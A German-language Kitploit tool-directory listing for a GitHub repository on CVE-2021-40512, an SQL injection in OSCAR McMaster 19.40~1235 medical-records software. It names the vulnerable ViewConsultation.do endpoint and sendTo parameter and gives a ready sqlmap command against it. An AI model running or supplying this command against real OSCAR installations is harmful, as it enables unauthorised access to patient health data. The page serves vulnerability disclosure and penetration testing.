Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
CVE-2021-40512 — CVE-2021-40512 OSCAR McMaster 19.40~1235 SQL Injection Vulnerability. | Kitploit
Tools/GitHubGitHub/war4uthor/cve-2021-40512
Vulnerability AnalysisExploitationWeb Application ExploitationInformation GatheringPenetration Testing
GitHubwar4uthor/cve-2021-40512

CVE-2021-40512

CVE-2021-40512 OSCAR McMaster 19.40~1235 SQL Injection Vulnerability.

Repository anzeigen
vor 4 JahrenNoch nicht geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

CVE-2021-40512 OSCAR McMaster 19.40~1235 SQL-Injection-Schwachstelle

Eine SQL-Injection-Schwachstelle existiert in Version 19.40~1235 von OSCAR McMaster. Ein böswilliger Angreifer kann SQL-Befehle an die MySQL/MariaDB-Datenbank über den anfälligen sendTo-Parameter ausgeben, der sich auf dem Endpunkt /oscar/oscarEncounter/ViewConsultation.do befindet.

[Placeholder for cve.mitre]

[Placeholder for nist]

Anfällige JSP-Seite:

ViewConsultation.do - sendTo-Parameter

Anfälliger Payload:

root@kitploit:~
sqlmap -u "/oscar/oscarEncounter/ViewConsultation.do?sendTo=&startDate=&endDate=&searchDate=0&currentTeam=&orderby=2&desc=0&offset=&limit=100&mrpNo=&patientId=&serviceFilter=&consultantFilter=&urgencyFilter=" --cookie=<COOKIE> -p sendTo --banner

Entdeckt von Jack McBride, August 2021

Tool herunterladen